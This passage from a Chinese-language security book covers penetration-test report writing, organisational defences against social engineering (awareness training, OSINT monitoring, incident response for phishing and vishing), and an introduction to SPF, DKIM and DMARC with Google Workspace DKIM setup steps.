在 OSINT 部分之后是社交工程部分,描述你实际的参与。如果你进行了多种社交工程活动,使用小标题将这一部分分成每种类型的活动:钓鱼攻击、语音钓鱼和现场测试。如果你进行的是混合型活动,即钓鱼和语音钓鱼是相互关联的,将它们放在“混合”子部分下。在每个子部分中,解释使用的每个前提。讨论你所做的工作和结果。然后使用“测量”一节中第 122 页的指标来帮助解释结果的影响。如果你之前曾与客户合作过,还可以将本次活动的发现与上次的活动进行比较,让客户看到他们的进展。

在下一节中输入你的所有发现。这是冗长的地方。解释问题、你是如何发现它的、你发现它时的相关证据、解释为什么它是个问题的参考资料、如何完全修复它,如果无法完全修复,可能的缓解措施。这一部分将重申执行摘要和发现部分的内容。在这一部分,你将以段落形式(尽管偶尔使用列表来提炼信息可能会有用)连贯地解释如何修复你发现的问题。然后以修复和建议部分作为结尾。主张培训、技术解决方案或其他文化变革。本书的第三部分讨论了这类保护措施。

请记住,你仅仅是在提出建议。你没有权力要求做出任何改变,客户可能会选择修复问题,也可能不会。尽管你可能会感到对项目有一定的责任感,但如果他们决定不听从你的建议,最终那不是你的问题。

确保冗长性和准确性

我建议在将报告交给客户之前,让多人在保密协议(NDA)下进行审核。一个人应该审核报告中的所有技术细节,确保准确性,而另一个人应该检查报告的语法、结构和表达。你的审阅者还应评估报告的冗长性,确保报告详细到足以恰当地传达观点,但又不会过于冗长。正如本书编辑弗朗西斯·索克斯所证明的,这也是我自己的一大难题。许多社交工程师都有类似问题。正如我的出版人比尔·波洛克所指出的,社交工程师依赖自己的语言表达能力作为优势。在与非技术性、非安全领域的人合作时,这种优势往往会变成缺点。

结论

报告不是社交工程或 OSINT 收集中最有趣的部分,但却是最重要的部分之一。尽力向管理层传达你所执行的工作,不仅要告诉他们你做了什么,还要说明员工在你面前的表现,并提供可操作的建议以改进。

你衡量的指标和衡量方式将影响客户的决策过程和其业务的整体成功。提供解释不清或有偏的数据可能会让客户尴尬,甚至更糟的是,可能导致他们陷入法律麻烦,而你也因此失去一个(或多个)客户。

请记住,你的报告通常是客户管理团队从你的合作中看到的唯一内容。他们不会看到你在网络钓鱼或语音钓鱼方面有多出色,即使他们看到了,可能也不会像安全行业的同行那样对你印象深刻。真正能打动他们的是一份专业的报告,采用他们能够理解的术语,提供他们可以实施的建议。

第十章:主动防御技术

你只要讲真话,就不必记住任何东西。

—马克·吐温

现在我们已经讲解了社会工程学和开源情报收集的基础知识,是时候讨论一个组织如何尽量减少这些攻击的影响,甚至完全防止它们了。虽然你很少能够阻止所有攻击,但你可以采取措施来降低攻击的成功率,并在攻击成功时减轻其造成的损害。

本章介绍了三种技术:意识提升计划、声誉监控和事件响应。我们将讨论成功的意识提升计划的要素,解释如何实施开源情报监控和技术邮件控制,提供与事件响应的集成,最后,生成威胁情报。

意识提升计划

意识提升计划是公司为用户提供指导的计划,帮助用户在遇到——或者不幸成为受害者——社会工程学攻击时作出反应。这些计划至关重要,因为它们能够让用户了解攻击者可能使用的策略,尽管这些用户可能已经在接收钓鱼邮件,但却不会遭遇潜在的负面后果。

进行这些培训的一种方法是向用户讲解安全行业中的常见趋势。提供这种类型的普遍建议通常是不够的。希望本书前几章已经帮助你理解,传统的安全指南——例如在浏览器地址栏中寻找绿色小锁,注意电子邮件中的拼写和语法错误,检查链接地址——已经不足以防止钓鱼攻击。当然,一些攻击者仍然会犯这些错误。但那些能够对组织造成灾难性伤害的高级攻击者可不会犯这些错误。

更好的方法是让用户了解组织因为钓鱼攻击所面临的具体问题。例如,如果组织正遭遇类似尼日利亚王子邮件的激增,或者一场伪装成首席财务官的攻击性商务邮件妥协活动,让用户了解这些细节将更有助于他们抵御这些攻击。用户很可能会遇到其中某种具体攻击,因此他们应该知道如何留意这些攻击。

如何以及何时进行培训

虽然培训应该经常进行,以保持用户对当前趋势的意识,但你也不应该让培训干扰他们的日常工作。提供足够频繁的意识提升活动,让用户能够牢记教训而又不至于造成困扰,这是一项微妙的平衡。我建议至少每季度进行一次培训。虽然每月一次的培训能提供更多的安全保障,但它们可能会给用户和管理人员带来不便。

在此周期性教育活动中,您应该提供自上次培训以来,组织收到的钓鱼邮件示例。如果您的组织进行了任何测试,您还可以分发类似于第九章中讨论的统计数据。最重要的是,您应该告诉用户,如果他们收到钓鱼邮件,应该采取哪些步骤,如果他们成为受害者,又该如何处理。

在讨论钓鱼邮件示例时,指出任何表明邮件是假冒的线索。从逻辑、语言和技术角度进行分析。特别注意任何违反标准操作程序或常理的请求。例如,可以提出这样一个问题:为什么正在泰国度假的首席财务官需要您释放 4500 万美元,将其发送到 PayPal 账户,然后再发送短信到伯利兹的某个号码?指出其中的语法错误,包括缺失关键短语、不同的拼写习惯(例如美国使用organize而其他地区使用organise),或员工称呼的不当(沃尔玛使用associate,迪士尼使用cast member)。教导用户将鼠标悬停在链接上,查看邮件试图引导他们访问的页面。鼓励他们将可疑邮件转发给安全团队。并且不鼓励他们在没有与安全团队沟通之前转发链式邮件或回复可疑邮件。

在一种成功的项目类型中,名为“本月安全思考”培训,安全团队每次讨论一个与社会工程学相关的概念,或任何与安全相关的话题。这些概念可以与之前或即将进行的工作交叉,也可以补充当前事件。例如,在美国,雇主在 1 月为员工提供税表,以便他们能够在 4 月 15 日的报税截止日期前完成申报。巧合的是,许多成功的 W-2 钓鱼攻击发生在 1 月的前几周。同样,9 月或 10 月通常是讨论身份盗窃和电子商务的最佳时机,因为这正好在假日购物季节之前。

非惩罚性政策

人们未能报告自己成为钓鱼邮件受害者的主要原因之一,无论是点击、下载还是填写网页表单的信息,是因为他们感到尴尬或担心自己的工作。但如果成功的钓鱼攻击未被报告,可能会导致显著的停机时间,或者如果组织成为勒索病毒的受害者,还可能需要购买比特币或苹果礼品卡来解锁。

员工应该知道,报告自己成为社会工程攻击受害者是可以接受的。尽管这可能意味着他们需要完成额外的培训,但他们不应该因此而更新简历。许多社会工程公司在与客户签订的合同中设有条款,防止员工因测试而被解雇。(据我所知,这种条款尚未在法院审理过。)我个人并未参与过关于这种条款的诉讼,也不太了解任何与此相关的案件。在尝试在合同中实施此类条款之前,请咨询你的法律顾问。

在少数情况下,如果员工无法理解安全意识的概念,可能需要解雇他们。这种情况发生在员工成为比资产更大的负担时。然而,解雇员工应该是最后的手段。首先,应该尽力训练员工,包括超出典型安全意识项目的培训。同时,还可以尝试实施额外的技术控制措施。

对良好行为的奖励

虽然惩罚他人的错误不符合你的利益,但加强良好行为的反馈是有帮助的。然而,正确地做到这一点是一个微妙的平衡。之所以微妙,是因为有时人们会试图利用系统漏洞。

为了举一个激励措施可能出错的例子,可以参考 2016 年富国银行的事件。在 2009 年到 2015 年间,富国银行为员工设定了不切实际的销售目标。银行后来发现,这些目标激励了 5300 名员工创建虚假的富国银行账户,有些是为家人和朋友创建的,但也有些是为陌生人创建的。管理层在发现这些陌生人开始产生费用时才意识到这一问题。

为了防止员工利用系统漏洞,避免提供针对报告最多钓鱼尝试的奖励。这类激励会促使员工将自己的电子邮件添加到钓鱼邮件列表中,从而增加安全团队的工作量。相反,你可以激励员工报告巧妙独特的钓鱼邮件,报告通过所有钓鱼模拟的邮件,或者采取类似的措施。核心思路是奖励报告行为,特别是巧妙或独特的钓鱼尝试,而不是奖励报告的数量。如果一个组织根据报告的数量来奖励,而员工故意让自己的邮件出现在钓鱼邮件列表中,最终可能会有一封看似真实的邮件出现,用户会成为受害者;与此同时,安全团队则忙于分析他们转发的其他邮件。

这里有一些你可以提供的免费或低成本奖励:

  • 因报告独特或广泛传播的钓鱼邮件而获得 15 分钟的休息时间

  • 一张价值 10 美元的亚马逊或星巴克礼品卡

  • 一周的停车位

  • 参加大奖抽奖

  • 一周的免费午餐

为员工提供任何被认为有价值的奖励,以表扬他们做得好的表现,有助于强化您希望看到的良好行为。这本身就是一种社会工程,但它旨在为员工和组织带来积极的成果。

进行钓鱼攻击演练

尽管有争议,将钓鱼攻击演练作为培训的一部分可以可靠地让员工接触到真实的钓鱼攻击尝试,并允许您测试整个组织的反应。

在决定模拟钓鱼攻击演练后,您应该做出的第一个决定是是否在内部进行,还是聘请第三方来执行此任务。为了选择最适合您公司的选项,请问问自己您计划多频繁地进行此类演练以及预算是多少。如果是外包,钓鱼攻击演练可能需要每次演练 4 到 24 小时的计费工作,具体取决于工作范围、要求和复杂度。如果您更愿意在内部进行测试,您需要弄清楚谁将负责执行演练,他们的其他职责是什么,以及他们离开岗位将对您的安全态势产生什么影响。如果您有预算购买像 Proofpoint、Cofense 或 KnowBe4 等非咨询公司的钓鱼模拟服务,您也可以选择这种方式。

声誉和开放源信息(OSINT)监控

积极的开放源信息监控和积极的社会工程同样至关重要。开放源信息监控,即定期对自己或客户进行开放源信息的监测,有时也被称为品牌和声誉监控或暗网监控。无论哪种形式,开放源信息监控的好处在于它允许组织看到潜在攻击者可以看到的信息。这使得组织能够在攻击发生之前采取适当的措施,无论是尽可能删除数据、增加监控,还是实施虚假信息或欺骗。

由于开放源信息(OSINT)主要是被动的,您无法通过模拟来训练用户,防止攻击者收集 OSINT。检测的机会很少。在许多情况下,OSINT 可能来自用户账户,组织无法强制用户删除社交媒体上的内容,除非这些内容通过《数字千年版权法》(DMCA)或其他法律标准侵犯了知识产权。

实施监控计划

在实施开放源信息监控计划时,重点应该放在查找可能对业务构成风险的信息上。不要将其作为监视或侵犯员工个人生活的手段。确保您的测试保持道德的一个简单方法是将开放源信息监控外包(下文将讨论“外包”)。

如果你的组织决定实施自己的 OSINT 和声誉监控计划,它需要决定在何种参数范围内操作。在此过程中,它必须定义要测试的内容、测试的时间和测试的方式。由于员工可以随时发布任何内容,进行月度或季度测试是一个不错的做法。否则,设置网络钓鱼攻击时需要考虑的许多因素同样适用于此。测试将是自动化还是手动的?预算是多少?期望的参与深度如何?范围是什么?你将如何确保尊重员工的隐私以及他们在社交媒体上的发帖自由?

确定需要进行多少手动测试将直接影响预算的讨论。让某人主动搜索有关某个组织的开放源情报(OSINT)需要支付调查员的费用(并可能还需要支付调查员雇主的费用)。自动化代码则不需要这样做,但代码的拥有者可能会收取使用该服务的费用。

定义一个类似于社会工程学参与中使用的范围。这对于避免侵犯员工隐私至关重要。虽然组织应该关注供应商、员工、承包商、访客和合作伙伴公开发布的内容,但要避免寻找私下或朋友之间共享的内容。不要强迫员工与你建立社交媒体联系或通过假账号尝试加入他们的好友列表。

外包

根据我的经验,通常最好让第三方处理 OSINT 和声誉监控。当第三方收集关于员工的 OSINT 时,你可以缓解组织监视员工的担忧。它还可以将组织的安全团队与其他员工的个人账户隔离开,减少骚扰或跟踪指控的可能性。最后,它可以防止以安全名义发生实际的滥用行为。

除了避免骚扰投诉外,委托第三方进行 OSINT 监控可以让调查员以最小的偏见进行操作。他们更有可能像筛子一样过滤信息,而不是像泵一样吸取信息,这意味着他们会过滤掉与安全无关的多余信息,通常通过使用自动化的网络扫描工具,几乎没有恶意意图,并仅提供与组织相关的信息。

事件响应

事件响应是组织在不利事件满足某些条件后,会采取的预定义行动。准备的一部分是思考如果社会工程学攻击成功会发生什么。其余部分则是研究你的系统如何交互,以便采取措施防止广泛或灾难性的影响。正如本书前面所说,决定采取哪些行动的时机并不是在进行中的社会工程学攻击时。

SANS 事件响应流程

SANS Institute(一个从事安全研究和教育的组织)定义了一个完整的事件响应过程,包含以下步骤:准备、识别、遏制、根除、恢复和经验教训(图 10-1)。该事件响应标准也被称为PICERL,考虑了事件的整个生命周期,从事件分类前开始,到事件解决后结束。在每个阶段,你都需要定义必要的步骤,以最小化攻击的影响,尽快恢复服务,并修复事件的根本原因。

准备阶段——通常是从事件后的经验教训阶段衍生出来——你通过开展意识提升项目、执行钓鱼模拟和监控你的开放源信息(OSINT)来预测未来的事件。

识别阶段从组织意识到事件并将其分类为事件的那一刻开始。在社交工程的背景下,以下情况可能触发此阶段:用户自我报告点击了钓鱼邮件;用户自我报告通过电话向来电者提供了信息或访问权限;来自恶意软件防护工具的勒索软件警报;服务器日志显示蜘蛛爬行、异常高访问量或下载公共文件;任何通过蜜罐电子邮件地址接收到的电子邮件(该地址的唯一目的是被蜘蛛工具发现);来自邮件过滤软件如 Proofpoint 或 Mimecast 的可疑邮件警报;或基于内部和外部威胁情报的自定义警报。

<<圆形箭头图展示了 SANS 事件响应过程的步骤:准备、识别、遏制、根除、恢复和经验教训。>>

图 10-1:SANS 事件响应过程

一旦你识别并分类了一个事件,你就进入了遏制阶段,在这一阶段,你采取措施确保威胁不会进一步蔓延。在社交工程的情况下,遏制措施可能包括将域名定向到“黑洞”,或从邮件服务器和队列中删除电子邮件。你还可以直接阻止域名、IP 地址或电子邮件地址无法从组织的网络和系统中访问。最后,你可能会将计算机系统与网络隔离,或将其放入沙箱环境,强制用户重置密码,甚至停用受影响的用户账户。一旦采取了这些行动,你应该向用户发送群发邮件,防止他们成为受害者。

根除阶段,你需要解决问题。移除所有已安装的恶意软件。你需要分析事件的根本原因,并开始确定有助于恢复的措施。除非涉及恶意软件,否则这一阶段通常非常短暂。

恢复阶段,你需要采取一切必要措施,完全恢复事件后续的操作。这可能意味着重新启用用户账户、更改网络配置以移除因恶意活动实施的沙盒或其他隔离措施,并恢复恶意行为者所做的更改。

一切恢复正常后,经验教训阶段是分析事件根本原因的时刻,确定你在知识和执行方面的现有漏洞。你将随后在准备阶段修补这些漏洞。这是一个反思的过程,决定有哪些地方可以做得更好。

响应钓鱼邮件(Phishing)

现在你已经了解了事件响应的基本知识,你需要定义用户在成为各种社会工程攻击的受害者时应该做什么。我们先从钓鱼攻击开始。包含链接或文件的钓鱼邮件可能允许攻击者访问你的系统。因此,你的目标应该是加快封锁和清除攻击的速度。

提供快速响应的一个小贴士是,为所有网络电缆选择一种非黑色的颜色。这将允许你指示员工将该颜色的电缆从电脑或墙壁后面拔掉。记住,系统可能仍然通过无线网络连接,你也应该定义断开无线设备连接的行为。

请要求用户报告事件发生的大致时间。这一细节有助于安全团队定位他们需要审查的日志,而不是让他们在没有任何线索的情况下不知道从哪里查起。成为攻击的受害者后,用户应该退出登录、锁屏、关机、断开网络连接,或使系统进入休眠状态。用户应该采取的行动取决于组织的能力及其对特定事件的响应。例如,如果不进行取证分析,就没有必要让系统进入休眠状态。相反,如果组织打算从已知的、良好的媒体重新构建系统,那么在收集到必要的证据后,正确的行动可能是关闭系统。

用户还应报告钓鱼邮件的发件人地址或钓鱼网站,任何打开的窗口和应用程序,以及屏幕上是否发生了任何异常。

你应该打印出这些指南,给它们做上塑封,并放在每个用户的工作空间中。任何时候,用户都应该能够参考这些指南并采取必要的行动。

响应钓鱼电话(Vishing)

虽然类似于网络钓鱼(phishing),但语音钓鱼(vishing)带来了独特的挑战。在无法监控所有电话的情况下,识别和应对语音钓鱼电话的能力依赖于员工的报告,以及事先了解应采取的措施。没有广泛或准确的入侵检测系统(IDS)或安全信息事件管理系统(SEIM)可以涵盖电话内容。公司可以监控连接到公司 Wi-Fi 网络的任何手机的互联网流量,但无法监控普通电话或其背景信息。幸运的是,攻击者不能(立即)通过电话登录并接管网络。即使语音钓鱼者获取了信息,技术控制也可能防止他们造成进一步的危害。无论如何,你必须定义应对语音钓鱼尝试的行动。

首先,在发现自己遭遇语音钓鱼攻击时,用户应挂断电话、要求回拨、尝试从来电者那里获取信息,或者通过撒谎来迷惑来电者。组织内的安全管理人员需要决定训练员工执行哪些操作。鼓励用户索取信息或撒谎存在一定风险;用户可能无意中透露有价值且准确的信息。随后,用户应联系信息安全部门,提供事件发生的大致时间、所采取的任何行动、来电号码、被询问信息以及提供的信息。他们还应提供有关来电者的其他信息,如口音、方言、语气或情绪,或背景噪音的存在。

响应 OSINT 收集

检测 OSINT 收集很困难,因为像 Shodan、Censys 和 Have I Been Pwned 这样的平台并不会自动允许你对查询设置警报,尽管你可以编写自己的代码,设置警报,监控组织资产是否出现在这些平台上。Have I Been Pwned 允许能够证明拥有某个域名的组织设置这样的警报,但不会共享该域名下账户的任何被泄露的凭据。但由于 OSINT 收集通常发生在道德黑客参与的侦察阶段,因此通常会与扫描和枚举同时发生,而这些活动是可检测的。

第一层检测位于如 Cloudflare 或 Amazon CloudFront 等内容分发网络(CDN)中(如果使用的话)。下一层检测存在于 web 服务器日志或 web 应用程序的应用日志中。这些来源将帮助组织了解谁在扫描以及扫描的内容。通常,这些信息缺乏区分大规模网页扫描和实际攻击者尝试收集 OSINT 或通过扫描和枚举工作的上下文。

决定应该阻止哪些行为。例如,可以包括在通过爬虫导致一定次数的 404 错误后阻止用户;阻止或限速爬虫的请求频率;阻止下载一定数量公共文件的用户,或使用特定浏览器或脚本的用户代理字符串的用户;以及阻止访问蜜罐页面的用户。

处理媒体关注

根据攻击的严重性、媒体关注度以及新闻周期中的其他事件,媒体可能会在事件发生期间寻求与组织中的人员交谈。虽然这不应该是你的首要任务,但如果没有回应媒体的询问,可能会传达出比直接承认你目前无法了解所有细节更糟的消息。尽管媒体应该联系组织的公关团队,但有些媒体可能会试图联系并采访任何员工。

为了控制传达给公众的信息,除非在你的事件响应计划中有所定义,否则对所有员工执行媒体封锁。为未经授权的员工提供处理此类查询的模板回应。这可以是一个简单的声明,例如“我没有授权讨论您请求主题的详细信息”,或是转发至公司指定的媒体代表。

被授权与媒体沟通的人员必须了解如何采取恰当的语气、如何拒绝回答问题,以及应与谁沟通,以便了解他们将与记者分享的事实。同时,还需要指定一个人或委员会来审查和批准公关人员提供给媒体的任何信息。

我还强烈建议咨询你所在组织的内部公关团队以及任何外部公关顾问。他们能够针对你组织的具体政策和程序提供指导,而我所说的更多是一般性建议。

用户应如何报告事件

如果你没有告诉用户如何报告可疑事件,他们可能会不断打扰没有解决问题权限的门卫。一种策略是设置一个 phishing@organization.com 的邮箱地址,用于收集用户收到的钓鱼邮件。你也可以设置 cyber@organization.comincidents@organization.com 作为汇总地址,将邮件转发给相关方。

当用户成为网络钓鱼攻击的受害者,并可能将恶意软件引入环境时,通过电子邮件报告可能不是最好的方式。因为整个电子邮件系统可能已被攻破,攻击者能够读取、拦截或篡改邮件。根据组织的规模以及用户是否在现场或远程,你可以指导用户通过面对面的方式报告事件,拨打电话,或使用私人聊天或像 Signal、Wickr、Wire 等安全短信平台发送消息。

技术控制与事件隔离

当识别到钓鱼邮件时,安全团队应收集该邮件及相关信息,并遵循组织的政策和程序。这将在生成威胁情报时带来回报,具体是否需要生成威胁情报取决于组织所在的行业,以及是否属于任何信息共享与分析中心(ISAC)。

从邮件本身,您应收集源邮件地址、是否存在邮件地址伪造的详细信息(如第十二章所讨论),以及源 IP 地址。您还应阻止源地址,并检查日志,看是否有其他用户或主机与源地址通信。要进一步分析攻击,请使用第十二章中讨论的工具。

如果钓鱼攻击涉及恶意文件,您可以将其上传到恶意软件检测网站 VirusTotal,以便快速获取该文件内容的答案,前提是它已知是恶意软件。此外,提取文件的加密哈希值,并检查网络中的系统是否有生成相同哈希值的文件。同时,调整 SEIM 设置,以便在接收到该文件时发出警报。

对与钓鱼邮件相关的 IP 地址或 URL 进行“黑洞”处理,将用户引导至一个无害的页面,并在工作站上设置警报,以监控试图访问恶意网站的用户。一旦邮件被“黑洞”处理,安全团队可以通知所有用户,建议他们避免打开该邮件。一旦事件进入恢复阶段,转移收集到的信息到威胁情报,并根据组织的指导进行发布和分发。

结论

保持组织安全的一部分是让用户保持知情、意识到潜在威胁并保持警觉。通过实施一种非惩罚性政策,并结合对积极行为的奖励来强化期望的行动,您可以显著提升组织的安全态势,同时鼓励员工做出正确的决策。一旦用户接受过培训,知道应该关注什么,并理解在成为社交工程攻击的受害者时应该如何处理,就可以通过内部或外部的测试人员来评估他们对组织指导方针的遵守情况。

即使在对用户进行培训之后,仍然需要通过钓鱼模拟和开源情报(OSINT)监控来测试他们。人们有时会公开分享一些场合,比如促销活动、工作最后一天或第一天——正如第五章所讨论的,他们并未考虑照片中包含的其他信息。同样,人们也希望分享他们的工作经历,以便向招聘经理展示他们的能力,但这会使简历中列出的技术细节变得可搜索。

将培训与事件响应过程结合起来,是防御社交工程攻击的一个关键方面。意识提升项目帮助组织避免首先引发事件响应,但它们也应当帮助在用户成为受害者时,使事件响应过程更加顺利。

明确告知用户如果他们成为社交工程攻击的受害者应该怎么做,这也会显著提升组织的安全防护水平。如果没有技术背景的人员被要求在没有指导的情况下执行技术操作,他们很可能会忽视问题或试图掩盖它。为用户和安全团队定义应对措施,在问题发生时采取相应步骤,将为组织省去许多麻烦,并让其能够专注于恢复。

第十一章:技术邮件控制

到目前为止,我们已经进行了网络钓鱼攻击演练,并学习了如何训练用户识别它们。我们还讨论了当用户即使在我们训练后依然成为社交工程攻击的受害者时,应该如何应对。本章将介绍技术邮件控制的实施,以帮助为组织提供安全保障,并减轻一些用户的负担。

此外,我们还将讨论可以过滤和管理电子邮件的邮件设备和服务。但在深入这些内容之前,让我们先看看与电子邮件控制的技术方面相关的实际标准。

标准

随着电子邮件的发展,用于保护电子邮件的技术也在不断发展。正如信息安全领域的任何事物一样,随着这些技术的进步,攻击模式也在不断变化,成为了一场持续的猫鼠游戏。随着时间的推移,安全专业人员提出、讨论并批准了各种标准。说到保护电子邮件,有三个主要标准:域名密钥标识邮件(DKIM)发件人策略框架(SPF)基于域的消息认证、报告和符合性(DMARC)。我们将在本节中讨论这三个标准。

这三种标准的作用是什么?一个常见的误解是,它们保护你的电子邮件免受来袭的网络钓鱼或欺骗性伪装攻击。在某种程度上,它们确实有这样的作用,但更准确地说,这些标准是在保护你的声誉:如果你发送的电子邮件实施了这些标准,并且收件人域已配置为检查相关记录,他们可以检测到试图伪装你域名的行为。虽然这可能看起来与直觉相反且似乎没有效果,但请继续阅读本章剩余部分,看看这如何帮助你。

简而言之,SPF 检查主机或 IP 地址是否在发件人列表中,DKIM 发送数字签名,而 DMARC 实施 SPF 和 DKIM,并检查对齐性。DMARC 还建立了报告机制。SPF 被认为是最基础的安全标准。需要注意的是,收件方必须将其邮件服务器配置为检查发件人关于标准的指导,并实际执行相关操作。

“发件人”字段

要理解这些标准如何工作,你需要了解电子邮件中各种类型的发件人字段。除了 Reply-to 字段,电子邮件还有 From 和 MailFrom 字段。From字段,也叫5322.From,显示发件人信息。MailFrom字段,或5321.MailFrom,是实际发送电子邮件的服务。例如,如果我使用 MailChimp 发送电子邮件,我的电子邮件地址将出现在 5322.From 字段,而 MailChimp 的服务器和地址则会出现在 5321.MailFrom 字段。

这些字段后面的数字来自于它们所在的 RFC 文件。这里有一种更容易理解的方法:5321.MailFrom 字段相当于通过邮政服务邮寄的信封上的回邮地址,而 5322.From 字段相当于信封内信件顶部的回邮地址。

现在让我们按时间顺序介绍这三个标准,首先从 DKIM 开始。

域名密钥识别邮件(Domain Keys Identified Mail)

DKIM 于 2011 年成为互联网标准。它旨在通过要求发送方加密签名邮件的部分内容(包括 5322.From 字段)来验证电子邮件并防止伪造。考虑到攻击者很可能无法访问用于数字签名的私钥,邮件接收者可以迅速识别伪造尝试。

DKIM 头部,是电子邮件消息中包含的一个字段,指定了在哪里可以找到用于验证签名的公钥。公钥通过 DNS TXT 记录存储,使用你可以在电子邮件消息中找到的 DNS 域(d=)和选择器(s=)标签。DKIM 公钥是该框架中唯一可供公众查看的部分,但找到它依赖于知道选择器,只有在你收到了该域名的电子邮件(或成功进行暴力破解)时,你才能知道这个选择器。

DKIM 的过程如下。首先,你编写一封电子邮件。在邮件发送时,与 DKIM 条目关联的私钥会创建两个数字签名,以证明电子邮件的真实性。一个签名用于 DKIM 头部,另一个签名用于邮件正文。每封电子邮件都有一对唯一的签名。这些签名会放入邮件头部并与邮件一起发送。一旦接收到邮件,如果接收方的邮件服务器已配置 DKIM,服务器会通过使用发布到 DNS 记录中的公钥来验证邮件的真实性。如果该密钥能够成功解密邮件,则该邮件是真实的,并且没有被篡改。

话虽如此,DKIM 并不常用于身份验证。相反,我们主要用它来验证邮件的真实性,并用于后面章节中讨论的所谓 DMARC 对齐。“基于域的消息认证、报告和一致性”即是这一部分内容。DKIM 的一个缺点是只有发送方和接收方都实现了它,才能有效。此外,即使你的组织内部实施了 DKIM,它也只能保护你的用户免受外部攻击者伪造其他内部员工的行为,这对你的声誉有好处,但在安全性方面效果有限。毕竟,攻击者可能会伪造一个可信的第三方。不过,如前所述,接收方必须将其邮件服务器配置为检查 DKIM 身份验证,这通常是通过实施 DMARC 来完成的。如果没有 DMARC,身份验证失败仍然会传递给接收方。

DKIM 最早在 RFC 6376 中引入。后来,RFC 8301 对其进行了修订,增加了关于 DKIM 可以使用的加密类型的以下规范:

此规范目前定义了两种算法:rsa-sha1 和 rsa-sha256。签名者必须使用 rsa-sha256 进行签名。验证者必须能够使用 rsa-sha256 进行验证。rsa-sha1 不得用于签名或验证。

2018 年,另一个关于 DKIM 的 RFC 发布;RFC 8463 增加了一种新的签名算法,ed25519,它使用 SHA-256 和 Edwards 曲线数字签名算法(EdDSA)代替 RSA 密钥。

实施 DKIM

为了使 DKIM 有效,你必须不仅在 DNS 服务器中配置它,还要在邮件服务器上配置。否则,它充其量只是一个威慑手段。让我们来看看如何在 Google Workspace 托管的域上配置 DKIM。其他邮件服务器也有类似的功能。

普通的 Gmail 使用 Google 的默认 DKIM 密钥,Workspace 中没有配置 DKIM 的域名也使用此密钥。如果一个 Gmail 账户托管在gmail.com上,你无法为其设置自己的 DKIM,但可以为使用 Workspace 的域名设置。根据 Google 的支持文档,如果用户没有设置自己的 DKIM 公钥,Google 将使用以下默认公钥:d=*.gappssmtp.com

让我们设置自己的私钥。首先,以超级管理员身份进入你的 Workspace 管理员控制台。进入控制台后,点击验证电子邮件,如图 11-1 所示。

<<Google 管理员控制台的“Gmail 设置”页面,包括用户设置、实验室、主机、默认路由、验证电子邮件(红框标出)和管理隔离。>>

图 11-1:选择“验证电子邮件”选项

现在你应该能看到 DKIM 身份验证选项,并被提示选择一个域名来配置 DKIM 以支持(图 11-2)。

<<Google 管理员控制台的“验证电子邮件”页面列出了 DKIM 身份验证选项,包括域名选择。"生成新记录"和"停止验证"按钮显示在页面上。>>

图 11-2:开始 DKIM 配置

一旦你选择了生成新记录,你需要选择密钥长度和选择器(图 11-3)。请注意,某些托管提供商和 DNS 平台不支持 2048 位密钥长度。根据 Google 的说法,如果是这种情况,请退回到 1024 位密钥。

<<"生成新记录"框显示了 DKIM 密钥位长度(2048)和前缀选择器(google)的选项选择。>>

图 11-3:生成 DKIM 记录和 RSA 密钥

在这里,根据需要选择域名并点击生成新记录。这将创建密钥(在图 11-4 中已被屏蔽)。打开一个新窗口,将其复制并粘贴到 DNS 中。完成后,点击开始验证

<<谷歌管理员控制台的“验证电子邮件”页面。红框内显示了选择的域名(theosintion.com)、DNS 主机名/TXT 记录名(部分被作者屏蔽)以及 TXT 记录值(部分被作者屏蔽)。>>

图 11-4:Google Workspace 中的 DKIM 记录

在此阶段,进入 cPanel,这是许多主机提供商使用的常见域名管理工具。cPanel 应该包含一个 DNS 区域编辑器,并有一个框可以让你将公钥输入到 TXT 记录中(图 11-5)。

<<DNS 区域编辑器显示了选择域名、创建新记录和管理 DNS 记录的字段,其中包括类型、名称和值。名称和值的信息部分被作者屏蔽。>>

图 11-5:添加 DNS TXT 记录

请注意,这些面板可能会限制你输入的字符数为 255 个:这对于行业标准推荐的 2,048 位长的密钥来说太短了。(当我遇到这种情况时,我联系了支持部门并要求他们代为手动输入信息,虽然他们不情愿,但最终还是做了。)

一旦你保存了密钥,记录的传播可能需要最多 48 小时。传播完成后,你需要在仪表板上点击“开始认证”来验证它。传播通常需要 24 到 48 小时,但有时也可能需要长达 72 小时,这取决于基础设施和提供商。

另一个重要的考虑因素将在下一节中进一步讨论:你必须验证你的主机和 DNS 提供商是否支持连接 DNS 条目,否则无法使用超过 1,024 位 RSA 密钥。基本上,某些提供商对 DNS 单个条目中可以输入的字符数有限制。如果提供商不支持连接,DNS 将其解释为两个无关的 TXT 条目,从而无法实现其目的,你的 DMARC 实施也将无法对齐。

对于在其他邮件提供商上设置 DKIM,如 Exchange、Office 365 和 Sendmail,你可以在 email-security.seosint.xyz/ 找到多个教程的链接。

DKIM 的不足之处

DKIM 中使用的加密算法曾存在一些漏洞。直到 2018 年,DKIM 允许使用 SHA-1 算法进行签名和验证。然而,安全界从 2010 年就已知 SHA-1 不安全,甚至在 DKIM 标准出台之前。阿姆斯特丹 CWI 的研究人员和谷歌此后成功对该协议进行了碰撞攻击,至此加密和安全界的大多数成员都弃用了 SHA-1。碰撞攻击使得攻击者能够通过两个不匹配的文件的哈希值生成相同的哈希,从而使其看起来像是匹配的。所有主要的网络浏览器厂商宣布将在 2017 年停止接受 SHA-1 证书。

确实,在 DKIM 操作过程中的精确位置制造碰撞仍然需要大量计算能力,因此只有像国家级机构或大型科技公司等复杂且资金充足的组织,才有能力执行这样的攻击。毕竟,谷歌是产生 SHA-1 碰撞的两方之一(并且不太可能谷歌会试图向您的组织发送未经授权的邮件)。但如果您有自主权,建议使用更安全的 SHA-256。

其次,RSA 存在漏洞,它作为 DKIM 标准的公钥基础设施。如前所述,谷歌的 DKIM 工具支持两种 1,024 位和 2,048 位 RSA。2,048 位 RSA 是当前行业的最低标准。由于自 RSA 引入以来数学、计算和加密学方面的进展,是否认为 RSA 安全存在显著争议。几位学者和研究人员声称能够破解 RSA 或削弱 RSA 加密系统。削弱加密系统是一种通过识别所使用的大素数并进行因式分解来降低其强度的方法。

使用 1,024 位 RSA 在理论上肯定是一个漏洞,而使用 2,048 位 RSA 被不鼓励但并不禁止。从实际角度来看,除非拥有巨大的计算资源或访问量子计算设施,否则无论是 1,024 位 RSA 还是 2,048 位 RSA 都无法在不到两百万年的时间里在单一系统上破解。DKIM 的后续版本增加了 Ed25519-SHA256 作为被接受的算法,尽管它尚未得到广泛采用。

